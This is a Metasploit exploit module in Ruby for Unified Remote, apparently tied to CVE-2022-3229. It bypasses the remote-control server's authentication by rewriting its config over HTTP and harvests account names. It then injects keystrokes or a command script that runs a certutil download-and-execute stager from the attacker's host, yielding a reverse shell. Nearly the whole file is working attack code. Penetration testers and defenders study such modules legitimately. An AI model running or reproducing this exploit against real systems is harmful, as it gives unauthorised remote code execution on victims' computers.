612 lines
22 KiB
Ruby
612 lines
22 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Exploit::Remote::Tcp
|
|
# attempted cmdstger, however there was so much sleep involved for the screen to clear the buffer
|
|
# that it was going to take hours. The buffer would also overrun itself and the exploit would fail
|
|
# if not enough sleep time was used. it was a nightmare, not for this exploit.
|
|
# include Msf::Exploit::CmdStager
|
|
include Exploit::EXE # generate_payload_exe
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Unified Remote Auth Bypass to RCE',
|
|
'Description' => %q{
|
|
This module utilizes the Unified Remote remote control protocol to type out and
|
|
deploy a payload. The remote control protocol can be configured to have no passwords,
|
|
a group password, or individual user accounts. If the web page is accessible, the
|
|
access control is set to no password for exploitation, then reverted.
|
|
If the web page is not accessible, exploitation will be tried blindly.
|
|
This module has been successfully tested against version 3.11.0.2483 (50) on Windows 10.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die', # msf module
|
|
'H4RK3NZ0' # edb
|
|
],
|
|
'References' => [
|
|
[ 'EDB', '49587' ],
|
|
[ 'URL', 'https://www.unifiedremote.com/' ],
|
|
[ 'URL', 'https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/unified%20remote/unified-remote-rce.py' ],
|
|
[ 'CVE', '2022-3229' ]
|
|
],
|
|
'Arch' => [ ARCH_X64, ARCH_X86 ],
|
|
'Platform' => 'win',
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
'Targets' => [
|
|
['default', {}],
|
|
],
|
|
'Payload' => {
|
|
'BadChars' => "\x0a\x00"
|
|
},
|
|
'DefaultOptions' => {
|
|
# since this may get typed out ON SCREEN we want as small a payload as possible
|
|
'PAYLOAD' => 'windows/shell/reverse_tcp'
|
|
},
|
|
'DisclosureDate' => '2021-02-25',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # typing on screen
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptPort.new('RPORT', [true, 'Port Unified Remote runs on', 9512]),
|
|
OptPort.new('WEBSERVER', [true, 'Port Unified Remote web server runs on', 9510]),
|
|
OptInt.new('SLEEP', [true, 'How long to sleep between commands', 1]),
|
|
OptString.new('PATH', [true, 'Where to stage payload for pull method', 'c:\\Windows\\Temp\\']),
|
|
OptString.new('CLIENTNAME', [false, 'Name of client, this shows up in the logs', '']),
|
|
OptBool.new('VISIBLE', [false, 'Make exploitation visible to the user', false]),
|
|
]
|
|
)
|
|
end
|
|
|
|
def win_key
|
|
'LWIN' # 4c57494e
|
|
end
|
|
|
|
def ret_key
|
|
'RETURN' # 52455455524e
|
|
end
|
|
|
|
def space_key
|
|
'SPACE' # 5350414345
|
|
end
|
|
|
|
def path
|
|
return datastore['PATH'] if datastore['PATH'].end_with? '\\'
|
|
|
|
"#{datastore['PATH']}\\"
|
|
end
|
|
|
|
def initialize_packet
|
|
initialize_packet = "\x00\x00\x00\x85\x00\x01\x08"
|
|
initialize_packet << "Action\x00" # 416374696f6e 00
|
|
initialize_packet << "\x00\x05"
|
|
initialize_packet << "Password\x00" # 50617373776f7264 00
|
|
initialize_packet << '8e8133b3-a18b-43af-a7cd-e04f747827ce' # 38653831333362332d613138622d343361662d613763642d653034663734373832376365 seems to be a default
|
|
initialize_packet << "\x00\x05"
|
|
initialize_packet << "Platform\x00" # 506c6174666f726d 00
|
|
initialize_packet << "android\x00" # 616e64726f6964 00
|
|
initialize_packet << "\x08"
|
|
initialize_packet << "Request\x00" # 52657175657374 00
|
|
initialize_packet << "\x00\x05"
|
|
initialize_packet << "Source\x00" # 536f7572636500
|
|
# this line shows up in logs as who connected
|
|
initialize_packet << "#{@client_name}\x00" # 616e64726f69642d64373038653134653532383463623831 00
|
|
initialize_packet << "\x03"
|
|
initialize_packet << "Version\x00" # 56657273696f6e 00
|
|
initialize_packet << "\x00\x00\x00\x0a\x00"
|
|
end
|
|
|
|
def empty_authentication
|
|
empty_authentication = "\x00\x00\x00\xc8\x00\x01\x08"
|
|
empty_authentication << "Action\x00" # 416374696f6e 00
|
|
empty_authentication << "\x01\x02"
|
|
empty_authentication << "Capabilities\x00" # 4361706162696c6974696573 00
|
|
empty_authentication << "\x04"
|
|
empty_authentication << "Actions\x00" # 416374696f6e73 00
|
|
empty_authentication << "\x01\x04"
|
|
empty_authentication << "Encryption2\x00" # 456e6372797074696f6e32 00
|
|
empty_authentication << "\x01\x04"
|
|
empty_authentication << "Fast\x00" # 46617374 00
|
|
empty_authentication << "\x00\x04"
|
|
empty_authentication << "Grid\x00" # 47726964 00
|
|
empty_authentication << "\x01\x04"
|
|
empty_authentication << "Loading\x00" # 4c6f6164696e6700
|
|
empty_authentication << "\x01\x04"
|
|
empty_authentication << "Sync\x00" # 53796e6300
|
|
empty_authentication << "\x01\x00\x05"
|
|
empty_authentication << "Password\x00" # 50617373776f7264 00
|
|
empty_authentication << 'd634c1dcfdeb8735608a4a104ded4076de766dd61443619809ad7f35858d4492' # 64363334633164636664656238373335363038613461313034646564343037366465373636646436313434333631393830396164376633353835386434343932 seems to be a default
|
|
empty_authentication << "\x00\x08"
|
|
empty_authentication << "Request\x00" # 52657175657374 00
|
|
empty_authentication << "\x01\x05"
|
|
empty_authentication << "Source\x00" # 536f7572636500
|
|
# this line shows up in logs as who connected
|
|
empty_authentication << "#{@client_name}\x00" # 616e64726f69642d64373038653134653532383463623831 00
|
|
empty_authentication << "\x00"
|
|
end
|
|
|
|
#############################################
|
|
# These methods/packets are for visible mode
|
|
#############################################
|
|
|
|
def string_header_one(length)
|
|
# 2 null, then message length takes next 2 spots
|
|
string_header_one = "\x00\x00"
|
|
string_header_one << [length].pack('n').to_s
|
|
end
|
|
|
|
def string_header_two
|
|
string_header_two = "\x00\x01\x08"
|
|
string_header_two << "Action\x00" # 416374696f6e 00
|
|
string_header_two << "\x07\x05"
|
|
string_header_two << "ID\x00" # 4944 00
|
|
string_header_two << "Relmtech.Keyboard\x00" # 52656c6d746563682e4b6579626f617264 00
|
|
string_header_two << "\x02"
|
|
string_header_two << "Layout\x00" # 4c61796f7574 00
|
|
string_header_two << "\x06"
|
|
string_header_two << "Controls\x00" # 436f6e74726f6c73 00
|
|
string_header_two << "\x02\x00\x02"
|
|
string_header_two << "OnAction\x00" # 4f6e416374696f6e 00
|
|
string_header_two << "\x02"
|
|
string_header_two << "Extras\x00" # 457874726173 00
|
|
string_header_two << "\x06"
|
|
string_header_two << "Values\x00" # 56616c756573 00
|
|
string_header_two << "\x02\x00\x05"
|
|
string_header_two << "Value\x00" # 56616c7565 00
|
|
end
|
|
|
|
def string_footer
|
|
string_footer = "\x00\x00\x00\x00\x05"
|
|
string_footer << "Name\x00" # 4e616d65 00
|
|
string_footer << "toggle\x00" # 746f67676c65 00
|
|
string_footer << "\x00\x05"
|
|
string_footer << "Source\x00" # 536f75726365 00
|
|
# this line shows up in logs as who connected
|
|
string_footer << "#{@client_name}\x00" # 616e64726f69642d64373038653134653532383463623831 00
|
|
string_footer << "\x00"
|
|
end
|
|
|
|
def send_key(key, press_return: false)
|
|
if key == ' '
|
|
key = space_key
|
|
end
|
|
contents = "#{string_header_two}#{key}#{string_header_three}#{key}#{string_footer}"
|
|
contents = "#{string_header_one(contents.length)}#{contents}"
|
|
sock.put(contents)
|
|
if press_return
|
|
contents = "#{string_header_two}#{ret_key}#{string_header_three}#{ret_key}#{string_footer}"
|
|
contents = "#{string_header_one(contents.length)}#{contents}"
|
|
sock.put(contents)
|
|
end
|
|
end
|
|
|
|
##############################################
|
|
# These methods/packets are for invisible mode
|
|
##############################################
|
|
|
|
def load_unified_command
|
|
# header: 00 00 00 5e
|
|
wait = "\x00\x01\x08"
|
|
wait << "Action\x00" # 416374696f6e 00
|
|
wait << "\x03\x05" # changed from the previous one from 07 to 03
|
|
wait << "ID\x00" # 4944 00
|
|
wait << "Unified.Command\x00" # 556e69666965642e436f6d6d616e64 00
|
|
wait << "\x02"
|
|
wait << "Layout\x00" # 4c61796f7574 00
|
|
wait << "\x03"
|
|
wait << "Hash\x00" # 48617368 00
|
|
wait << "\x9e\xd0\x99:\x00" # 9ed0993a 00
|
|
wait << "\x08"
|
|
wait << "Request\x00" # 52657175657374 00
|
|
wait << "\x03\x05" # changed from the previous one from 07 to 03
|
|
wait << "Source\x00" # 536f7572636500
|
|
wait << "#{@client_name}\x00"
|
|
wait << "\x00"
|
|
end
|
|
|
|
def create_script
|
|
# header: 00 00 00 e2
|
|
new_onee = "\x00\x01\x08"
|
|
new_onee << "Action\x00" # 416374696f6e 00
|
|
new_onee << "\x07\x05"
|
|
new_onee << "ID\x00" # 4944 00
|
|
new_onee << "Unified.Command\x00" # 556e69666965642e436f6d6d616e64 00
|
|
new_onee << "\x02"
|
|
new_onee << "Layout\x00" # 4c61796f7574 00
|
|
new_onee << "\x06"
|
|
new_onee << "Controls\x00" # 436f6e74726f6c73 00
|
|
new_onee << "\x02\x00\x02"
|
|
new_onee << "OnAction\x00" # 4f6e416374696f6e 00
|
|
new_onee << "\x02"
|
|
new_onee << "Extras\x00" # 457874726173 00
|
|
new_onee << "\x06"
|
|
new_onee << "Values\x00" # 56616c756573 00
|
|
new_onee << "\x02\x00\x05"
|
|
new_onee << "Key\x00" # 4b6579 00
|
|
new_onee << "Text\x00" # 54657874 00
|
|
new_onee << "\x05"
|
|
new_onee << "Value\x00" # 56616c7565 00
|
|
new_onee << "\x00\x00\x00\x00\x05"
|
|
new_onee << "Name\x00" # 4e616d65 00
|
|
new_onee << "update\x00" # 757064617465 00
|
|
new_onee << "\x00\x08"
|
|
new_onee << "Type\x00" # 54797065 00
|
|
new_onee << "\x08\x00\x00\x00\x08"
|
|
new_onee << "Request\x00" # 52657175657374 00
|
|
new_onee << "\x07\x02"
|
|
new_onee << "Run\x00" # 52756e 00
|
|
new_onee << "\x02"
|
|
new_onee << "Extras\x00" # 457874726173 00
|
|
new_onee << "\x06"
|
|
new_onee << "Values\x00" # 56616c756573 00
|
|
new_onee << "\x02\x00\x05"
|
|
new_onee << "Key\x00" # 4b6579 00
|
|
new_onee << "Text\x00" # 54657874 00
|
|
new_onee << "\x05"
|
|
new_onee << "Value\x00" # 56616c7565 00
|
|
new_onee << "\x00\x00\x00\x00\x05"
|
|
new_onee << "Name\x00" # 4e616d65 00
|
|
new_onee << "update\x00" # 757064617465 00
|
|
new_onee << "\x00\x05"
|
|
new_onee << "Source\x00" # 536f75726365 00
|
|
new_onee << "#{@client_name}\x00"
|
|
new_onee << "\x00"
|
|
end
|
|
|
|
def initialize_keyboard
|
|
# header 00 00 00 4b
|
|
new_twoo = "\x00\x01\x08"
|
|
new_twoo << "Action\x00" # 416374696f6e 00
|
|
new_twoo << "\x05\x05"
|
|
new_twoo << "ID\x00" # 4944 00
|
|
new_twoo << "Unified.Command\x00" # 556e69666965642e436f6d6d616e64 00
|
|
new_twoo << "\x08"
|
|
new_twoo << "Request\x00" # 52657175657374 00
|
|
new_twoo << "\x05\x05"
|
|
new_twoo << "Source\x00" # 536f75726365 00
|
|
new_twoo << "#{@client_name}\x00"
|
|
new_twoo << "\x00"
|
|
end
|
|
|
|
def add_content(command)
|
|
# header is dymanic based on length of command
|
|
new_threee = "\x00\x01\x08"
|
|
new_threee << "Action\x00" # 416374696f6e 00
|
|
new_threee << "\x07\x05"
|
|
new_threee << "ID\x00" # 4944 00
|
|
new_threee << "Unified.Command\x00" # 556e69666965642e436f6d6d616e64 00
|
|
new_threee << "\x02"
|
|
new_threee << "Layout\x00" # 4c61796f7574 00
|
|
new_threee << "\x06"
|
|
new_threee << "Controls\x00" # 436f6e74726f6c73 00
|
|
new_threee << "\x02\x00\x02"
|
|
new_threee << "OnAction\x00" # 4f6e416374696f6e 00
|
|
new_threee << "\x02"
|
|
new_threee << "Extras\x00" # 457874726173 00
|
|
new_threee << "\x06"
|
|
new_threee << "Values\x00" # 56616c756573 00
|
|
new_threee << "\x02\x00\x05"
|
|
new_threee << "Key\x00" # 4b6579 00
|
|
new_threee << "Text\x00" # 54657874 00
|
|
new_threee << "\x05"
|
|
new_threee << "Value\x00" # 56616c7565 00
|
|
new_threee << command
|
|
new_threee << "\x00\x00\x00\x00\x05"
|
|
new_threee << "Name\x00" # 4e616d65 00
|
|
new_threee << "update\x00" # 757064617465 00
|
|
new_threee << "\x00\x08"
|
|
new_threee << "Type\x00" # 54797065 00
|
|
new_threee << "\x08\x00\x00\x00\x08"
|
|
new_threee << "Request\x00" # 52657175657374 00
|
|
new_threee << "\x07\x02"
|
|
new_threee << "Run\x00" # 52756e 00
|
|
new_threee << "\x02"
|
|
new_threee << "Extras\x00" # 457874726173 00
|
|
new_threee << "\x06"
|
|
new_threee << "Values\x00" # 56616c756573 00
|
|
new_threee << "\x02\x00\x05"
|
|
new_threee << "Key\x00" # 4b6579 00
|
|
new_threee << "Text\x00" # 54657874 00
|
|
new_threee << "\x05"
|
|
new_threee << "Value\x00" # 56616c7565 00
|
|
new_threee << command
|
|
new_threee << "\x00\x00\x00\x00\x05"
|
|
new_threee << "Name\x00" # 4e616d65 00
|
|
new_threee << "update\x00" # 757064617465 00
|
|
new_threee << "\x00\x05"
|
|
new_threee << "Source\x00" # 536f75726365 00
|
|
new_threee << "#{@client_name}\x00"
|
|
new_threee << "\x00"
|
|
end
|
|
|
|
def execute_script
|
|
# header 00 00 00 96
|
|
new_fourr = "\x00\x01\x08"
|
|
new_fourr << "Action\x00" # 416374696f6e 00
|
|
new_fourr << "\x07\x05"
|
|
new_fourr << "ID\x00" # 4944 00
|
|
new_fourr << "Unified.Command\x00" # 556e69666965642e436f6d6d616e64 00
|
|
new_fourr << "\x02"
|
|
new_fourr << "Layout\x00" # 4c61796f7574 00
|
|
new_fourr << "\x06"
|
|
new_fourr << "Controls\x00" # 436f6e74726f6c73 00
|
|
new_fourr << "\x02\x00\x02"
|
|
new_fourr << "OnAction\x00" # 4f6e416374696f6e 00
|
|
new_fourr << "\x05"
|
|
new_fourr << "Name\x00" # 4e616d65 00
|
|
new_fourr << "execute\x00" # 65786563757465 00
|
|
new_fourr << "\x00\x08"
|
|
new_fourr << "Type\x00" # 54797065 00
|
|
new_fourr << "\x08\x00\x00\x00\x08"
|
|
new_fourr << "Request\x00" # 52657175657374 00
|
|
new_fourr << "\x07\x02"
|
|
new_fourr << "Run\x00" # 52756e 00
|
|
new_fourr << "\x05"
|
|
new_fourr << "Name\x00" # 4e616d65 00
|
|
new_fourr << "execute\x00" # 65786563757465 00
|
|
new_fourr << "\x00\x05"
|
|
new_fourr << "Source\x00" # 536f75726365 00
|
|
new_fourr << "#{@client_name}\x00"
|
|
new_fourr << "\x00"
|
|
end
|
|
|
|
def string_header_three
|
|
string_header_three = "\x00\x00\x00\x00\x05"
|
|
string_header_three << "Name\x00" # 4e616d65 00
|
|
string_header_three << "toggle\x00" # 746f67676c65 00
|
|
string_header_three << "\x00\x08"
|
|
string_header_three << "Type\x00" # 54797065 00
|
|
string_header_three << "\x08\x00\x00\x00\x08"
|
|
string_header_three << "Request\x00" # 52657175657374 00
|
|
string_header_three << "\x07\x02"
|
|
string_header_three << "Run\x00" # 52756e 00
|
|
string_header_three << "\x02"
|
|
string_header_three << "Extras\x00" # 457874726173 00
|
|
string_header_three << "\x06"
|
|
string_header_three << "Values\x00" # 56616c756573 00
|
|
string_header_three << "\x02\x00\x05"
|
|
string_header_three << "Value\x00" # 56616c7565 00
|
|
end
|
|
|
|
def on_request_uri(cli, _req)
|
|
p = generate_payload_exe
|
|
send_response(cli, p)
|
|
print_good("Payload request received, sending #{p.length} bytes of payload for staging")
|
|
end
|
|
|
|
def restart_server
|
|
http_sock = connect(false, { 'RPORT' => datastore['WEBSERVER'].to_i })
|
|
# http client overrides sock, so we had to pick one... long live sock
|
|
request = "GET /system/restart HTTP/1.1\r\n"
|
|
request << "Host: #{datastore['RHOST']}:#{datastore['WEBSERVER']}\r\n"
|
|
request << "\r\n"
|
|
|
|
http_sock.put(request)
|
|
disconnect
|
|
print_status('Sleeping 5 seconds for server to restart')
|
|
sleep(5)
|
|
end
|
|
|
|
def set_config(config)
|
|
print_status('Uploading new server config')
|
|
http_sock = connect(false, { 'RPORT' => datastore['WEBSERVER'].to_i })
|
|
# http client overrides sock, so we had to pick one... long live sock
|
|
request = "POST /system/config HTTP/1.1\r\n"
|
|
request << "Host: #{datastore['RHOST']}:#{datastore['WEBSERVER']}\r\n"
|
|
request << "Accept: application/json, text/javascript, */*; q=0.01\r\n"
|
|
request << "Content-Type: application/json\r\n"
|
|
request << "X-Requested-With: XMLHttpRequest\r\n"
|
|
request << "Content-Length: #{config.to_json.length}\r\n"
|
|
request << "\r\n"
|
|
request << config.to_json
|
|
|
|
http_sock.put(request)
|
|
begin
|
|
http_sock.get_once(-1)
|
|
rescue EOFError
|
|
return nil
|
|
end
|
|
|
|
disconnect
|
|
restart_server
|
|
end
|
|
|
|
def get_config
|
|
print_status('Retrieving server config')
|
|
http_sock = connect(false, { 'RPORT' => datastore['WEBSERVER'].to_i })
|
|
# http client overrides sock, so we had to pick one... long live sock
|
|
request = "GET /system/config HTTP/1.1\r\n"
|
|
request << "Host: #{datastore['RHOST']}:#{datastore['WEBSERVER']}\r\n"
|
|
request << "\r\n"
|
|
|
|
http_sock.put(request)
|
|
begin
|
|
res = http_sock.get_once(-1)
|
|
rescue EOFError
|
|
return nil
|
|
end
|
|
disconnect
|
|
body = res.split("\r\n\r\n")[1]
|
|
if body.include?('<h1>Forbidden (403)</h1>')
|
|
print_error('Web interface is disabled. Unable to attempt bypass, assuming no authentication.')
|
|
return nil
|
|
else
|
|
# transient error where the JSON doesn't fully receive maybe 1/15 tries in my testing
|
|
begin
|
|
return JSON.parse(body) # split between headers and body
|
|
rescue JSON::ParserError
|
|
return nil
|
|
end
|
|
end
|
|
end
|
|
|
|
def report_cred(opts)
|
|
service_data = {
|
|
address: opts[:ip],
|
|
port: opts[:port],
|
|
service_name: opts[:service_name],
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :service,
|
|
module_fullname: fullname,
|
|
username: opts[:user],
|
|
private_data: opts[:password],
|
|
private_type: :password
|
|
}.merge(service_data)
|
|
|
|
login_data = {
|
|
core: create_credential(credential_data),
|
|
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
|
last_attempted_at: DateTime.now,
|
|
proof: opts[:proof]
|
|
}.merge(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
def check
|
|
security_mode = get_config
|
|
if security_mode.nil?
|
|
return CheckCode::Unknown('Unable to get config from web server, unknown status of Unified Remote Controller')
|
|
end
|
|
|
|
CheckCode::Vulnerable("Unified Remote is vulnerable on port #{security_mode['interfaces']['tcp']['port']} with security mode '#{security_mode['security']['mode']}' (can be bypassed, if needed)")
|
|
end
|
|
|
|
def exploit
|
|
if datastore['CLIENTNAME'].blank?
|
|
@client_name = "android-#{Rex::Text.rand_text_alphanumeric(16)}"
|
|
print_status("Client name set to: #{@client_name}")
|
|
else
|
|
@client_name = datastore['CLIENTNAME']
|
|
end
|
|
# first grab the config from the HTTP server to determine if we need to disable auth
|
|
security_mode = get_config
|
|
reset_security_mode = nil
|
|
unless security_mode.nil?
|
|
if security_mode['security']['mode'] == 'none'
|
|
print_good('No security enabled')
|
|
else
|
|
print_status("#{security_mode['security']['mode']} mode enabled, password required, bypassing")
|
|
reset_security_mode = security_mode['security']['mode']
|
|
security_mode['security']['mode'] = 'none'
|
|
set_config(security_mode)
|
|
end
|
|
# now that we have the config, check if theres any users, no passwords (theyre GUIDs)
|
|
security_mode['security']['users'].each do |account|
|
|
print_good("Found account: #{account['username']}")
|
|
report_cred(
|
|
ip: rhost,
|
|
port: rport,
|
|
service_name: 'wifi mouse',
|
|
user: account['username'],
|
|
password: '',
|
|
proof: account
|
|
)
|
|
end
|
|
end
|
|
|
|
# start actually exploiting the rdp-ish server
|
|
connect
|
|
print_status('Sending handshake')
|
|
sock.put(initialize_packet)
|
|
sleep(datastore['SLEEP'])
|
|
print_status('Sending empty authentication')
|
|
sock.put(empty_authentication)
|
|
sleep(datastore['SLEEP'])
|
|
|
|
filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + '.exe'
|
|
register_file_for_cleanup("#{path}#{filename}")
|
|
# this method was in the original edb exploit, this is significantly faster
|
|
# and speed is of the essence since remote user input most likely breaks this module
|
|
stager = "certutil.exe -urlcache -f http://#{datastore['lhost']}:#{datastore['SRVPORT']}/ #{path}#{filename}"
|
|
start_service('Path' => '/') # start webserver
|
|
|
|
if datastore['VISIBLE']
|
|
print_status('Opening Start Menu')
|
|
# original exploit sent it twice, so we follow that
|
|
send_key(win_key)
|
|
send_key(win_key)
|
|
sleep(datastore['SLEEP'])
|
|
|
|
print_status('Opening command prompt')
|
|
'cmd.exe'.each_char do |letter|
|
|
send_key(letter)
|
|
end
|
|
send_key(ret_key)
|
|
sleep(datastore['SLEEP'])
|
|
|
|
print_status('Typing out payload')
|
|
stager.each_char do |letter|
|
|
send_key(letter)
|
|
end
|
|
send_key(ret_key)
|
|
sleep(datastore['SLEEP'] * 2) # give time for it to save
|
|
|
|
print_status('Attempting to open payload')
|
|
"#{path}#{filename} && exit".each_char do |letter|
|
|
send_key(letter)
|
|
end
|
|
send_key(ret_key)
|
|
else
|
|
stager << " && #{path}#{filename} && exit"
|
|
print_status('Loading Unified.Command')
|
|
contents = load_unified_command
|
|
sock.put("#{string_header_one(contents.length)}#{contents}")
|
|
sleep(datastore['SLEEP'])
|
|
|
|
print_status('Updating Unified.Command')
|
|
contents = create_script
|
|
sock.put("#{string_header_one(contents.length)}#{contents}")
|
|
sleep(datastore['SLEEP'])
|
|
|
|
contents = initialize_keyboard
|
|
sock.put("#{string_header_one(contents.length)}#{contents}")
|
|
sleep(datastore['SLEEP'])
|
|
|
|
print_status('Sending payload')
|
|
contents = add_content(stager)
|
|
sock.put("#{string_header_one(contents.length)}#{contents}")
|
|
sleep(datastore['SLEEP'])
|
|
|
|
print_status('Executing script')
|
|
contents = execute_script
|
|
sock.put("#{string_header_one(contents.length)}#{contents}")
|
|
sleep(datastore['SLEEP'])
|
|
|
|
contents = create_script
|
|
sock.put("#{string_header_one(contents.length)}#{contents}")
|
|
sleep(datastore['SLEEP'])
|
|
end
|
|
|
|
handler
|
|
disconnect
|
|
sleep(datastore['SLEEP'] * 2) # give time for it to do its thing before we revert
|
|
|
|
# lastly some cleanup
|
|
unless reset_security_mode.nil?
|
|
print_status('Reverting security mode')
|
|
security_mode['security']['mode'] = reset_security_mode
|
|
set_config(security_mode)
|
|
end
|
|
end
|
|
end
|